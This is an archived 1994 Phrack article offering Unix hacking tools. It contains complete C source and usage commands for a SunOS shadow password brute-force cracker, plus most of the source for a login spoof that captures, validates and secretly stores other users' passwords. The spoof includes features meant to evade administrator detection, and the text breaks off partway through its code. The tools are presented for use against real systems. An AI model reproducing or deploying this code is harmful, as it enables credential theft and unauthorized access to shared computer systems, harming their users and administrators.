home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack46.011 < prev    next >
Encoding:
Text File  |  2003-06-11  |  41.5 KB  |  1,505 lines

  1.                               ==Phrack Magazine==
  2.  
  3.                  Volume Five, Issue Forty-Six, File 11 of 28
  4.  
  5. ****************************************************************************
  6.  
  7.  
  8.                     ***********************************
  9.                     * Unix Hacking Tools of the Trade *
  10.                     *                                 *
  11.                     *                By               *
  12.                     *                                 *
  13.                     *  The Shining/UPi (UK Division)  *
  14.                     ***********************************
  15.  
  16. Disclaimer :
  17.  
  18. The following text is for educational purposes only and I strongly suggest
  19. that it is not used for malicious purposes....yeah right!
  20.  
  21.  
  22. Introduction :
  23.  
  24. Ok, I decided to release this phile to help out all you guys who wish to
  25. start hacking unix. Although these programs should compile & run
  26. on your system if you follow the instructions I have given, knowing a bit
  27. of C will come in handy if things go wrong. Other docs I suggest you read
  28. are older 'phrack' issues with shooting sharks various articles on unix,
  29. and of course, 'Unix from the ground up' by The Prophet.
  30.  
  31. This article includes three programs, a SUNOS Brute force Shadow password
  32. file cracker, The Ultimate Login Spoof, and a Unix Account Validator.
  33.  
  34.  
  35.  
  36.  
  37.  
  38.                                Shadow Crack
  39.                                ------------
  40.  
  41.             SUNOS Unix brute force shadow password file cracker
  42.             ---------------------------------------------------
  43.  
  44. Well, a while back, I saw an article in phrack which included a brute force
  45. password cracker for unix. This was a nice idea, except that these days
  46. more and more systems are moving towards the shadow password scheme. This,
  47. for those of you who are new to unix, involves storing the actual encrypted
  48. passwords in a different file, usually only accessible to root. A typical
  49. entry from a System V R4 password file looks like this :-
  50.  
  51. root:x:0:1:Sys. admin:/:/bin/sh
  52.  
  53.  
  54. with the actual encrypted password replaced by an 'x' in the /etc/passwd
  55. file. The encrypted password is stored in a file(in the case of sysV)
  56. called /etc/shadow which has roughly the following format :-
  57.  
  58. root:XyfgFekj95Fpq:::::
  59.  
  60.  
  61. this includes the login i.d., the encrypted password, and various other
  62. fields which hold info on password ageing etc...(no entry in the other
  63. fields indicate they are disabled).
  64.  
  65. Now this was fine as long as we stayed away from system V's, but now a
  66. whole load of other companies have jumped on the bandwagon from IBM (aix)
  67. to Suns SUNOS systems. The system I will be dealing with is SUNOS's
  68. shadowed system. Now, like sysV, SUNOS also have a system whereby the
  69. actual encrypted passwords are stored in a file usually called
  70. /etc/security/passwd.adjunct, and normally this is accessible only by root.
  71. This rules out the use of brute force crackers, like the one in phrack
  72. quite a while back, and also modern day programs like CRACK. A typical
  73. /etc/passwd file entry on shadowed SUNOS systems looks like this :-
  74.  
  75. root:##root:0:1:System Administrator:/:/bin/csh
  76.  
  77. with the 'shadow' password file taking roughly the same format as that of
  78. Sys V, usually with some extra fields.
  79.  
  80. However, we cannot use a program like CRACK, but SUNOS also supplied a
  81. function called pwdauth(), which basically takes two arguments, a login
  82. name and decrypted password, which is then encrypted and compared to the
  83. appropriate entry in the shadow file, thus if it matches, we have a valid
  84. i.d. & password, if not, we don't.
  85.  
  86. I therefore decided to write a program which would exploit this function,
  87. and could be used to get valid i.d's and passwords even on a shadowed
  88. system!
  89.  
  90. To my knowledge the use of the pwdauth() function is not logged, but I could
  91. be wrong. I have left it running for a while on the system I use and it has
  92. attracted no attention, and the administrator knows his shit. I have seen
  93. the functions getspwent() and getspwnam() in Sys V to manipulate the
  94. shadow password file, but not a function like pwdauth() that will actually
  95. validate the i.d. and password. If such a function does exist on other
  96. shadowed systems then this program could be very easily modified to work
  97. without problems.
  98.  
  99. The only real beef I have about this program is that because the
  100. pwdauth() function uses the standard unix crypt() function to encrypt the
  101. supplied password, it is very slow!!! Even in burst mode, a password file
  102. with 1000's of users could take a while to get through. My advice is
  103. to run it in the background and direct all its screen output to /dev/null
  104. like so :-
  105.  
  106. shcrack -mf -uroot -ddict1 > /dev/null &
  107.  
  108. Then you can log out then come back and check on it later!
  109.  
  110. The program works in a number of modes, all of which I will describe below,
  111. is command line driven, and can be used to crack both multiple accounts in
  112. the password file and single accounts specified. It is also NIS/NFS (Sun
  113. Yellow Pages) compatible.
  114.  
  115.  
  116. How to use it
  117. -------------
  118.  
  119. shcrack  -m[mode]  -p[password file]  -u[user id]  -d[dictionary file]
  120.  
  121. Usage :-
  122.  
  123. -m[mode]  there are 3 modes of operation :-
  124.  
  125. -mb  Burst mode, this scans the password file, trying the minimum number
  126.      of password guessing strategies on every account.
  127.  
  128. -mi  Mini-burst mode, this also scans the password file, and tries most
  129.      password guessing strategies on every account.
  130.  
  131. -mf  Brute-force mode, tries all password strategies, including the use
  132.      of words from a dictionary, on a single account specified.
  133.  
  134.  
  135. more about these modes in a sec, the other options are :-
  136.  
  137.  
  138. -p[password file]  This is the password file you wish to use, if this is
  139.                    left unspecified, the default is /etc/passwd.
  140.                    NB: The program automatically detects and uses the
  141.                    password file wherever it may be in NIS/NFS systems.
  142.  
  143.  
  144. -u[user id]  The login i.d. of the account you wish to crack, this is used
  145.              in Brute-force single user mode.
  146.  
  147.  
  148. -d[dict file]  This uses the words in a dictionary file to generate
  149.                possible passwords for use in single user brute force
  150.                mode. If no filename is specified, the program only uses the
  151.                password guessing strategies without using the dictionary.
  152.  
  153.  
  154. Modes
  155. ^^^^^
  156.  
  157. -mb  Burst mode basically gets each account from the appropriate password
  158.      file and uses two methods to guess its password. Firstly, it uses the
  159.      account name as a password, this name is then reversed and tried as a
  160.      possible password. This may seem like a weak strategy, but remember,
  161.      the users passwords are already shadowed, and therefore are deemed to
  162.      be secure. This can lead to sloppy passwords being used, and I have
  163.      came across many cases where the user has used his/her i.d. as a
  164.      password.
  165.  
  166.  
  167. -mi Mini-burst mode uses a number of other password generating methods
  168.     as well as the 2 listed in burst mode. One of the methods involves
  169.     taking the login i.d. of the account being cracked, and appending the
  170.     numbers 0 to 9 to the end of it to generate possible passwords. If
  171.     this mode has no luck, it then uses the accounts gecos 'comment'
  172.     information from the password file, splitting it into words and
  173.     trying these as passwords. Each word from the comment field is also
  174.     reversed and tried as a possible password.
  175.  
  176.  
  177. -mf Brute-force single user mode uses all the above techniques for password
  178.     guessing as well as using a dictionary file to provide possible
  179.     passwords to crack a single account specified. If no dictionary filename
  180.     is given, this mode operates on the single account using the
  181.     same methods as mini-burst mode, without the dictionary.
  182.  
  183.  
  184. Using shadow crack
  185. ------------------
  186.  
  187. To get program help from the command line just type :-
  188.  
  189. $ shcrack <RETURN>
  190.  
  191. which will show you all the modes of operation.
  192.  
  193. If you wanted to crack just the account 'root', located in
  194. /etc/passwd(or elsewhere on NFS/NIS systems), using all methods
  195. including a dictionary file called 'dict1', you would do :-
  196.  
  197. $ shcrack -mf -uroot -ddict1
  198.  
  199.  
  200. to do the above without using the dictionary file, do :-
  201.  
  202. $ shcrack -mf -uroot
  203.  
  204.  
  205. or to do the above but in password file 'miner' do :-
  206.  
  207. $ shcrack -mf -pminer -uroot
  208.  
  209.  
  210. to start cracking all accounts in /etc/passwd, using minimum password
  211. strategies do :-
  212.  
  213. $ shcrack -mb
  214.  
  215.  
  216. to do the above but on a password file called 'miner' in your home
  217. directory do :-
  218.  
  219. $ shcrack -mb -pminer
  220.  
  221.  
  222. to start cracking all accounts in 'miner', using all strategies except
  223. dictionary words do :-
  224.  
  225. $ shcrack -mi -pminer
  226.  
  227.  
  228. ok, heres the code, ANSI C Compilers only :-
  229.  
  230. ---cut here-------------------------------------------------------------------
  231.  
  232. /* Program   : Shadow Crack
  233.    Author    : (c)1994 The Shining/UPi (UK Division)
  234.    Date      : Released 12/4/94
  235.    Unix type : SUNOS Shadowed systems only */
  236.  
  237. #include <stdio.h>
  238. #include <pwd.h>
  239. #include <string.h>
  240. #include <ctype.h>
  241. #include <signal.h>
  242.  
  243. #define WORDSIZE 20     /* Maximum word size */
  244. #define OUTFILE "data"  /* File to store cracked account info */
  245.  
  246. void word_strat( void ), do_dict( void );
  247. void add_nums( char * ), do_comment( char * );
  248. void try_word( char * ), reverse_word( char * );
  249. void find_mode( void ), burst_mode( void );
  250. void mini_burst( void ), brute_force( void );
  251. void user_info( void ), write_details( char * );
  252. void pwfile_name( void ), disable_interrupts( void ), cleanup();
  253.  
  254.  
  255. char *logname, *comment, *homedir, *shell, *dict, *mode,
  256.      *pwfile, *pwdauth();
  257. struct passwd *getpwnam(), *pwentry;
  258. extern char *optarg;
  259. int option, uid, gid;
  260.  
  261.  
  262. int main( int argc, char **argv )
  263. {
  264. disable_interrupts();
  265. system("clear");
  266.  
  267. if (argc < 2) {
  268. printf("Shadow Crack - (c)1994 The Shining\n");
  269. printf("SUNOS Shadow password brute force cracker\n\n");
  270. printf("useage: %s -m[mode] -p[pwfile] -u[loginid] ", argv[0]);
  271. printf("-d[dictfile]\n\n\n");
  272. printf("[b] is burst mode, scans pwfile trying minimum\n");
  273. printf("    password strategies on all i.d's\n\n");
  274. printf("[i] is mini-burst mode, scans pwfile trying both\n");
  275. printf("    userid, gecos info, and numbers to all i.d's\n\n");
  276. printf("[f] is bruteforce mode, tries all above stategies\n");
  277. printf("    as well as dictionary words\n\n");
  278. printf("[pwfile]   Uses the password file [pwfile], default\n");
  279. printf("           is /etc/passwd\n\n");
  280. printf("[loginid]  Account you wish to crack, used with\n");
  281. printf("           -mf bruteforce mode only\n\n");
  282. printf("[dictfile] uses dictionary file [dictfile] to\n");
  283. printf("           generate passwords when used with\n");
  284. printf("           -mf bruteforce mode only\n\n");
  285. exit(0);
  286. }
  287.  
  288.  
  289. /* Get options from the command line and store them in different
  290.    variables */
  291.  
  292. while ((option = getopt(argc, argv, "m:p:u:d:")) != EOF)
  293.  switch(option)
  294.  {
  295.    case 'm':
  296.            mode = optarg;
  297.            break;
  298.  
  299.    case 'p':
  300.            pwfile = optarg;
  301.            break;
  302.  
  303.    case 'u':
  304.            logname = optarg;
  305.            break;
  306.  
  307.    case 'd':
  308.            dict = optarg;
  309.            break;
  310.  
  311.    default:
  312.            printf("wrong options\n");
  313.            break;
  314.  }
  315.  
  316. find_mode();
  317. }
  318.  
  319.  
  320. /* Routine to redirect interrupts */
  321.  
  322. void disable_interrupts( void )
  323. {
  324. signal(SIGHUP, SIG_IGN);
  325.  signal(SIGTSTP, cleanup);
  326.   signal(SIGINT, cleanup);
  327.  signal(SIGQUIT, cleanup);
  328. signal(SIGTERM, cleanup);
  329. }
  330.  
  331.  
  332. /* If CTRL-Z or CTRL-C is pressed, clean up & quit */
  333.  
  334. void cleanup( void )
  335. {
  336. FILE *fp;
  337.  
  338. if ((fp = fopen("gecos", "r")) != NULL)
  339.    remove("gecos");
  340.  
  341. if ((fp = fopen("data", "r")) == NULL)
  342.    printf("\nNo accounts cracked\n");
  343.  
  344. printf("Quitting\n");
  345. exit(0);
  346. }
  347.  
  348.  
  349. /* Function to decide which mode is being used and call appropriate
  350.    routine */
  351.  
  352. void find_mode( void )
  353. {
  354.  if (strcmp(mode, "b") == NULL)
  355.     burst_mode();
  356.  else
  357.  if (strcmp(mode, "i") == NULL)
  358.     mini_burst();
  359.  else
  360.  if (strcmp(mode, "f") == NULL)
  361.     brute_force();
  362.  else
  363.   {
  364.     printf("Sorry - No such mode\n");
  365.     exit(0);
  366.   }
  367. }
  368.  
  369.  
  370. /* Get a users information from the password file */
  371.  
  372. void user_info( void )
  373. {
  374.   uid = pwentry->pw_uid;
  375.    gid = pwentry->pw_gid;
  376.     comment = pwentry->pw_gecos;
  377.    homedir = pwentry->pw_dir;
  378.   shell = pwentry->pw_shell;
  379. }
  380.  
  381.  
  382.  
  383. /* Set the filename of the password file to be used, default is
  384.    /etc/passwd */
  385.  
  386. void pwfile_name( void )
  387. {
  388. if (pwfile != NULL)
  389.     setpwfile(pwfile);
  390. }
  391.  
  392.  
  393.  
  394. /* Burst mode, tries user i.d. & then reverses it as possible passwords
  395.    on every account found in the password file */
  396.  
  397. void burst_mode( void )
  398. {
  399. pwfile_name();
  400. setpwent();
  401.  
  402.   while ((pwentry = getpwent()) != (struct passwd *) NULL)
  403.   {
  404.      logname = pwentry->pw_name;
  405.       user_info();
  406.       try_word( logname );
  407.      reverse_word( logname );
  408.   }
  409.  
  410. endpwent();
  411. }
  412.  
  413.  
  414. /* Mini-burst mode, try above combinations as well as other strategies
  415.    which include adding numbers to the end of the user i.d. to generate
  416.    passwords or using the comment field information in the password
  417.    file */
  418.  
  419. void mini_burst( void )
  420. {
  421. pwfile_name();
  422. setpwent();
  423.  
  424.   while ((pwentry = getpwent()) != (struct passwd *) NULL)
  425.   {
  426.      logname = pwentry->pw_name;
  427.       user_info();
  428.      word_strat();
  429.   }
  430.  
  431. endpwent();
  432. }
  433.  
  434.  
  435. /* Brute force mode, uses all the above strategies as well using a
  436.    dictionary file to generate possible passwords */
  437.  
  438. void brute_force( void )
  439. {
  440. pwfile_name();
  441. setpwent();
  442.  
  443.   if ((pwentry = getpwnam(logname)) == (struct passwd *) NULL) {
  444.      printf("Sorry - User unknown\n");
  445.      exit(0);
  446.   }
  447.   else
  448.   {
  449.      user_info();
  450.       word_strat();
  451.      do_dict();
  452.   }
  453.  
  454. endpwent();
  455. }
  456.  
  457.  
  458. /* Calls the various password guessing strategies */
  459.  
  460. void word_strat()
  461. {
  462.  try_word( logname );
  463.   reverse_word( logname );
  464.    add_nums( logname );
  465.   do_comment( comment );
  466. }
  467.  
  468.  
  469. /* Takes the user name as its argument and then generates possible
  470.    passwords by adding the numbers 0-9 to the end. If the username
  471.    is greater than 7 characters, don't bother */
  472.  
  473. void add_nums( char *wd )
  474. {
  475. int i;
  476. char temp[2], buff[WORDSIZE];
  477.  
  478. if (strlen(wd) < 8) {
  479.  
  480.   for (i = 0; i < 10; i++)
  481.   {
  482.       strcpy(buff, wd);
  483.        sprintf(temp, "%d", i);
  484.         strcat(wd, temp);
  485.        try_word( wd );
  486.       strcpy(wd, buff);
  487.   }
  488.  
  489.  }
  490. }
  491.  
  492.  
  493.  
  494. /* Gets info from the 'gecos' comment field in the password file,
  495.    then process this information generating possible passwords from it */
  496.  
  497. void do_comment( char *wd )
  498. {
  499. FILE *fp;
  500.  
  501. char temp[2], buff[WORDSIZE];
  502. int c,  flag;
  503.  
  504. flag = 0;
  505.  
  506.  
  507. /* Open file & store users gecos information in it. w+ mode
  508.    allows us to write to it & then read from it. */
  509.  
  510. if ((fp = fopen("gecos", "w+")) == NULL) {
  511.     printf("Error writing gecos info\n");
  512.    exit(0);
  513. }
  514.  
  515.     fprintf(fp, "%s\n", wd);
  516.    rewind(fp);
  517.  
  518. strcpy(buff, "");
  519.  
  520.  
  521. /* Process users gecos information, separate words by checking for the
  522.    ',' field separater or a space. */
  523.  
  524. while ((c = fgetc(fp)) != EOF)
  525. {
  526.  
  527.  if (( c != ',' ) && ( c != ' ' )) {
  528.      sprintf(temp, "%c", c);
  529.     strncat(buff, temp, 1);
  530.  }
  531.  else
  532.     flag = 1;
  533.  
  534.  
  535.    if ((isspace(c)) || (c == ',') != NULL) {
  536.  
  537.      if (flag == 1) {
  538.         c=fgetc(fp);
  539.  
  540.         if ((isspace(c)) || (iscntrl(c) == NULL))
  541.            ungetc(c, fp);
  542.      }
  543.  
  544.      try_word(buff);
  545.       reverse_word(buff);
  546.        strcpy(buff, "");
  547.       flag = 0;
  548.      strcpy(temp, "");
  549.    }
  550.  
  551. }
  552. fclose(fp);
  553. remove("gecos");
  554. }
  555.  
  556.  
  557.  
  558. /* Takes a string of characters as its argument(in this case the login
  559.    i.d., and then reverses it */
  560.  
  561. void reverse_word( char *wd )
  562. {
  563. char temp[2], buff[WORDSIZE];
  564. int i;
  565.  
  566. i = strlen(wd) + 1;
  567.  strcpy(temp, "");
  568. strcpy(buff, "");
  569.  
  570.  do
  571.  {
  572.     i--;
  573.     if ((isalnum(wd[i]) || (ispunct(wd[i]))) != NULL) {
  574.         sprintf(temp, "%c", wd[i]);
  575.        strncat(buff, temp, 1);
  576.     }
  577.  
  578.  } while(i != 0);
  579.  
  580. if (strlen(buff) > 1)
  581.    try_word(buff);
  582. }
  583.  
  584.  
  585.  
  586. /* Read one word at a time from the specified dictionary for use
  587.    as possible passwords, if dictionary filename is NULL, ignore
  588.    this operation */
  589.  
  590. void do_dict( void )
  591. {
  592. FILE *fp;
  593. char buff[WORDSIZE], temp[2];
  594. int c;
  595.  
  596. strcpy(buff, "");
  597. strcpy(temp, "");
  598.  
  599.  
  600. if (dict == NULL)
  601.    exit(0);
  602.  
  603.    if ((fp = fopen(dict, "r")) == NULL) {
  604.        printf("Error opening dictionary file\n");
  605.       exit(0);
  606.    }
  607.  
  608. rewind(fp);
  609.  
  610.  
  611.  while ((c = fgetc(fp)) != EOF)
  612.  {
  613.   if ((c != ' ') || (c != '\n')) {
  614.      strcpy(temp, "");
  615.       sprintf(temp, "%c", c);
  616.      strncat(buff, temp, 1);
  617.   }
  618.  
  619.   if (c == '\n') {
  620.     if (buff[0] != ' ')
  621.        try_word(buff);
  622.  
  623.       strcpy(buff, "");
  624.   }
  625.  }
  626.  
  627. fclose(fp);
  628. }
  629.  
  630.  
  631. /* Process the word to be used as a password by stripping \n from
  632.    it if necessary, then use the pwdauth() function, with the login
  633.    name and word to attempt to get a valid id & password */
  634.  
  635. void try_word( char pw[] )
  636. {
  637. int pwstat, i, pwlength;
  638. char temp[2], buff[WORDSIZE];
  639.  
  640. strcpy(buff, "");
  641. pwlength = strlen(pw);
  642.  
  643. for (i = 0; i != pwlength; i++)
  644. {
  645.  
  646.  if (pw[i] != '\n') {
  647.      strcpy(temp, "");
  648.      sprintf(temp, "%c", pw[i]);
  649.     strncat(buff, temp, 1);
  650.  }
  651. }
  652.  
  653.  if (strlen(buff) > 3 ) {
  654.      printf("Trying : %s\n", buff);
  655.  
  656.      if (pwstat = pwdauth(logname, buff) == NULL) {
  657.          printf("Valid Password! - writing details to 'data'\n");
  658.  
  659.          write_details(buff);
  660.  
  661.         if (strcmp(mode, "f") == NULL)
  662.            exit(0);
  663.      }
  664.  }
  665. }
  666.  
  667.  
  668.  
  669. /* If valid account & password, store this, along with the accounts
  670.    uid, gid, comment, homedir & shell in a file called 'data' */
  671.  
  672. void write_details( char *pw )
  673. {
  674. FILE *fp;
  675.  
  676. if ((fp = fopen(OUTFILE, "a")) == NULL) {
  677.     printf("Error opening output file\n");
  678.    exit(0);
  679. }
  680.  
  681. fprintf(fp, "%s:%s:%d:%d:", logname, pw, uid, gid);
  682.  fprintf(fp, "%s:%s:%s\n", comment, homedir, shell);
  683. fclose(fp);
  684. }
  685.  
  686. ---cut here-------------------------------------------------------------------
  687.  
  688. again to compile it do :-
  689.  
  690. $ gcc shcrack.c -o shcrack
  691.  
  692. or
  693.  
  694. $ acc shcrack.c -o shcrack
  695.  
  696. this can vary depending on your compiler.
  697.  
  698.  
  699.  
  700.  
  701.                          The Ultimate Login Spoof
  702.                          ^^^^^^^^^^^^^^^^^^^^^^^^
  703.  
  704. Well this subject has been covered many times before but its a while since
  705. I have seen a good one, and anyway I thought other unix spoofs have had two
  706. main problems :-
  707.  
  708. 1) They were pretty easy to detect when running
  709. 2) They recorded any only shit entered.....
  710.  
  711.  
  712. Well now I feel these problems have been solved with the spoof below.
  713. Firstly, I want to say that no matter how many times spoofing is deemed as
  714. a 'lame' activity, I think it is very underestimated.
  715.  
  716.  
  717. When writing this I have considered every possible feature such a program
  718. should have. The main ones are :-
  719.  
  720.  
  721. 1) To validate the entered login i.d. by searching for it in the
  722.    password file.
  723.  
  724. 2) Once validated, to get all information about the account entered
  725.    including - real name etc from the comment field, homedir info
  726.    (e.g. /homedir/miner) and the shell the account is using and
  727.    store all this in a file.
  728.  
  729. 3) To keep the spoofs tty idle time to 0, thus not to arouse the
  730.    administrators suspicions.
  731.  
  732. 4) To validates passwords before storing them, on all unshadowed unix systems
  733.    & SUNOS shadowed/unshadowed systems.
  734.  
  735. 5) To emulates the 'sync' dummy account, thus making it act like the
  736.    real login program.
  737.  
  738. 6) Disable all interrupts(CTRL-Z, CTRL-D, CTRL-C), and automatically
  739.    quit if it has not grabbed an account within a specified time.
  740.  
  741. 7) To automatically detect & display the hostname before the login prompt
  742.    e.g. 'ccu login:', this feature can be disabled if desired.
  743.  
  744. 8) To run continuously until a valid i.d. & valid password are entered.
  745.  
  746.  
  747.  
  748. As well as the above features, I also added a few more to make the spoof
  749. 'foolproof'. At university, a lot of the users have been 'stung' by
  750. login spoofs in the past, and so have become very conscious about security.
  751.  
  752. For example, they now try and get around spoofs by entering any old crap when
  753. prompted for their login name, or to hit return a few times, to prevent any
  754. 'crappy' spoofs which may be running. This is where my spoof shines!,
  755. firstly if someone was to enter -
  756.  
  757. login: dhfhfhfhryr
  758. Password:
  759.  
  760.  
  761. into the spoof, it checks to see if the login i.d. entered is
  762. valid by searching for it in the password file. If it exists, the
  763. spoof then tries to validate the password. If both the i.d. & password
  764. are valid, these will be stored in a file called .data, along with
  765. additional information about the account taken directly from the password
  766. file.
  767.  
  768. Now if, as in the case above, either the login name or password is
  769. incorrect, the information is discarded, and the login spoof runs again,
  770. waiting for a valid user i.d. & password to be entered.
  771.  
  772. Also, a lot of systems these days have an unpassworded account called
  773. 'sync', which when logged onto, usually displays the date & time the
  774. sync account was last logged into, and from which server or tty,
  775. the message of the day, syncs the disk, and then logs you straight out.
  776.  
  777. A few people have decided that the best way to dodge login spoofs is to
  778. first login to this account then when they are automatically logged out,
  779. to login to their own account.
  780.  
  781. They do this firstly, so that if a spoof is running it only records the
  782. details of the sync account and secondly the spoof would not act as the
  783. normal unix login program would, and therefore they would spot it and report
  784. it, thus landing you in the shit with the system administrator.
  785.  
  786. However, I got around this problem so that when someone
  787. tries to login as sync (or another account of a similar type, which you can
  788. define), it acts exactly like the normal login program would, right down to
  789. displaying the system date & time as well as the message of the day!!
  790.  
  791.  
  792.                           The idle time facility
  793.                           ----------------------
  794.  
  795. One of the main problems with unix spoofs, is they can be spotted
  796. so easily by the administrator, as he/she could get a list of current
  797. users on the system and see that an account was logged on, and had been
  798. idle for maybe 30 minutes. They would then investigate & the spoof
  799. would be discovered.
  800.  
  801. I have therefore incorporated a scheme in the spoof whereby
  802. approx. every minute, the tty the spoof is executed from, is 'touched'
  803. with the current time, this effectively simulates terminal activity &
  804. keeps the terminals idle time to zero, which helps the spoofs chances
  805. of not being discovered greatly.
  806.  
  807. The spoof also incorporates a routine which will automatically
  808. keep track of approximately how long the spoof has been running, and if
  809. it has been running for a specified time without grabbing an i.d. or password,
  810. will automatically exit and run the real login program.
  811. This timer is by default set to 12.5 minutes, but you can alter this time
  812. if you wish.
  813.  
  814. Note: Due to the varying processing power of some systems, I could not
  815.       set the timer to exactly 60 seconds, I have therefore set it to 50,
  816.       incase it loses or gains extra time. Take this into consideration when
  817.       setting the spoofs timer to your own value. I recommend you
  818.       stick with the default, and under no circumstances let it run
  819.       for hours.
  820.  
  821.  
  822.  
  823.                       Password Validation techniques
  824.                       ------------------------------
  825.  
  826. The spoof basically uses 2 methods of password validation(or none at
  827. all on a shadowed system V). Firstly, when the spoof is used on any unix
  828. with an unshadowed password file, it uses the crypt function to validate a
  829. password entered. If however the system is running SUNOS 4.1.+ and
  830. incorporates the shadow password system, the program uses a function called
  831. pwdauth(). This takes the login i.d. & decrypted password as its arguments
  832. and checks to see if both are valid by encrypting the password and
  833. comparing it to the shadowed password file which is usually located in
  834. /etc/security and accessible only by root. By validating both the i.d. &
  835. password we ensure that the data which is saved to file is correct and not
  836. any old bullshit typed at the terminal!!!
  837.  
  838.  
  839.  
  840.                             Executing the Spoof
  841.                             -------------------
  842.  
  843.  
  844. ok, now about the program. This is written in ANSI-C, so I hope you have a
  845. compatible compiler, GCC or suns ACC should do it. Now the only time you
  846. will need to change to the code is in the following circumstances :-
  847.  
  848. 1) If you are to compile & run it on an unshadowed unix,
  849.    in which case remove all references to the pwdauth() function,
  850.    from both the declarations & the shadow checking routine, add
  851.    this code in place of the shadow password checking routine :-
  852.  
  853.         if ( shadow == 1 ) {
  854.              invalid = 0;
  855.           else
  856.              invalid = 1;
  857.        }
  858.  
  859. 2) Add the above code also to the spoof if you are running this on a system
  860.    V which is shadowed. In this case the spoof loses its ability to
  861.    validate the password, to my knowledge there is no sysV equivalent
  862.    of the pwdauth() function.
  863.  
  864. Everything else should be pretty much compatible. You should have no
  865. problems compiling & running this on an unshadowed SUNOS machine, if
  866. you do, make the necessary changes as above, but it compiled ok
  867. on every unshadowed SUNOS I tested it on. The Spoof should
  868. automatically detect whether a SUNOS system is shadowed or unshadowed
  869. and run the appropriate code to deal with each situation.
  870.  
  871. Note: when you have compiled this spoof, you MUST 'exec' it from the
  872.       current shell for it to work, you must also only have one shell
  873.       running. e.g. from C or Bourne shell using the GNU C Compiler do :-
  874.  
  875. $ gcc spoof.c -o spoof
  876. $ exec spoof
  877.  
  878. This replaces the current shell with the spoof, so when the spoof quits &
  879. runs the real login program, the hackers account is effectively logged off.
  880.  
  881. ok enough of the bullshit, here's the spoof :-
  882.  
  883.  
  884. ----------cut here-------------------------------------------------------
  885.  
  886. /* Program   : Unix login spoof
  887.    Author    : The Shining/UPi (UK Division)
  888.    Date      : Released 12/4/94
  889.    Unix Type : All unshadowed unix systems &
  890.                shadowed SUNOS systems
  891.    Note      : This file MUST be exec'd from the shell. */
  892.  
  893.  
  894. #include <stdio.h>
  895. #include <string.h>
  896. #include <signal.h>
  897. #include <pwd.h>
  898. #include <time.h>
  899. #include <utime.h>
  900.  
  901. #define OUTFILE ".data"           /* Data file to save account info into */
  902. #define LOGPATH "/usr/bin/login"  /* Path of real login program */
  903. #define DUMMYID "sync"            /* Dummy account on your system */
  904. #define DLENGTH 4                 /* Length of dummy account name */
  905.  
  906.  
  907. FILE *fp;
  908.  
  909.  
  910. /* Set up variables to store system time & date */
  911.  
  912. time_t now;
  913.  
  914. static int time_out, time_on, no_message, loop_cnt;
  915.  
  916.  
  917. /* Set up a structure to store users information */
  918.  
  919. struct loginfo {
  920.               char logname[10];
  921.               char key[9];
  922.               char *comment;
  923.               char *homedir;
  924.               char *shell;
  925.             } u;
  926.  
  927.  
  928. /* Use the unix function getpass() to read user password and
  929.    crypt() or pwdauth()  (remove it below if not SUNOS)
  930.    to validate it etc */
  931.  
  932. char *getpass(), *gethostname(), *alarm(), *sleep(),
  933.      *crypt(), *ttyname(), *pwdauth(), motd, log_date[60],
  934.      pass[14], salt[3], *tty, cons[] = " on console ",
  935.      hname[72], *ld;
  936.  
  937.  
  938. /* flag = exit status, ppid = pid shell, wait = pause length,
  939.    pwstat = holds 0 if valid password, shadow holds 1 if shadow
  940.    password system is being used, 0 otherwise. */
  941.  
  942. int flag, ppid, wait, pwstat, shadow, invalid;
  943.  
  944.  
  945. /* Declare main functions */
  946.  
  947.      void write_details(struct loginfo *);
  948.      void catch( void ), disable_interrupts( void );
  949.      void log_out( void ), get_info( void ),
  950.           invalid_login( void ), prep_str( char * );
  951.  
  952.  
  953. /* set up pointer to point to pwfile structure, and also
  954.    a pointer to the utime() structure */
  955.  
  956.  
  957. struct passwd *pwentry, *getpwnam();
  958. struct utimbuf *times;
  959.  
  960.  
  961. int main( void )
  962. {
  963. system("clear");
  964.  
  965. /* Initialise main program variables to 0, change 'loop_cnt' to 1
  966.    if you do not want the machines host name to appear with
  967.    the login prompt! (e.g. prompt is `login:` instead of
  968.    'MIT login:'  etc) */
  969.  
  970.      wait = 3;               /* Holds value for pause */
  971.       flag = 0;              /* Spoof ends if value is 1 */
  972.        loop_cnt = 0;         /* Change this to 1 if no host required */
  973.        time_out = 0;         /* Stops timer if spoof has been used */
  974.       time_on = 0;           /* Holds minutes spoof has been running */
  975.      disable_interrupts();   /* Call function to disable Interrupts */
  976.  
  977.  
  978. /* Get system time & date and store in log_date, this is
  979.    displayed when someone logs in as 'sync' */
  980.  
  981.  now = time(NULL);
  982.   strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now));
  983.   strcat(log_date, cons);
  984.  ld = log_date;
  985.  
  986.  
  987. /* Get Hostname and tty name */
  988.  
  989. gethostname(hname, 64);
  990.  strcat(hname, " login: ");
  991. tty = ttyname();
  992.  
  993.  
  994. /* main routine */
  995.  
  996.   while( flag == 0 )
  997.   {
  998.        invalid = 0;        /* Holds 1 if id +/or pw are invalid */
  999.         shadow = 0;        /* 1 if shadow scheme is in operation */
  1000.          no_message = 0;   /* Flag for Login Incorrect msg */
  1001.         alarm(50);         /* set timer going */
  1002.        get_info();         /* get user i.d. & password */
  1003.  
  1004.  
  1005. /* Check to see if the user i.d. entered is 'sync', if it is
  1006.    display system time & date, display message of the day and
  1007.    then run the spoof again, insert the account of your
  1008.    choice here, if its not sync, but remember to put
  1009.    the length of the accounts name next to it! */
  1010.  
  1011.      if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) {
  1012.         printf("%s\n", ld);
  1013.  
  1014.           if ((fp = fopen("/etc/motd", "r")) != NULL) {
  1015.               while ((motd = getc(fp)) != EOF)
  1016.                      putchar(motd);
  1017.  
  1018.               fclose(fp);
  1019.           }
  1020.  
  1021.            printf("\n");
  1022.              prep_str(u.logname);
  1023.              no_message = 1;
  1024.            sleep(wait);
  1025.      }
  1026.  
  1027.  
  1028. /* Check if a valid user i.d. has been input, then check to see if
  1029.    the password system is shadowed or unshadowed.
  1030.    If both the user i.d. & password are valid, get additional info
  1031.    from the password file, and store all info in a file called .data,
  1032.    then exit spoof and run real login program */
  1033.  
  1034.     setpwent();   /* Rewind pwfile to beign processing */
  1035.  
  1036.  
  1037.     if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) {
  1038.          invalid = 1;
  1039.         flag = 0;
  1040.     }
  1041.     else
  1042.        strncpy(salt, pwentry->pw_passwd, 2);
  1043.  
  1044.  
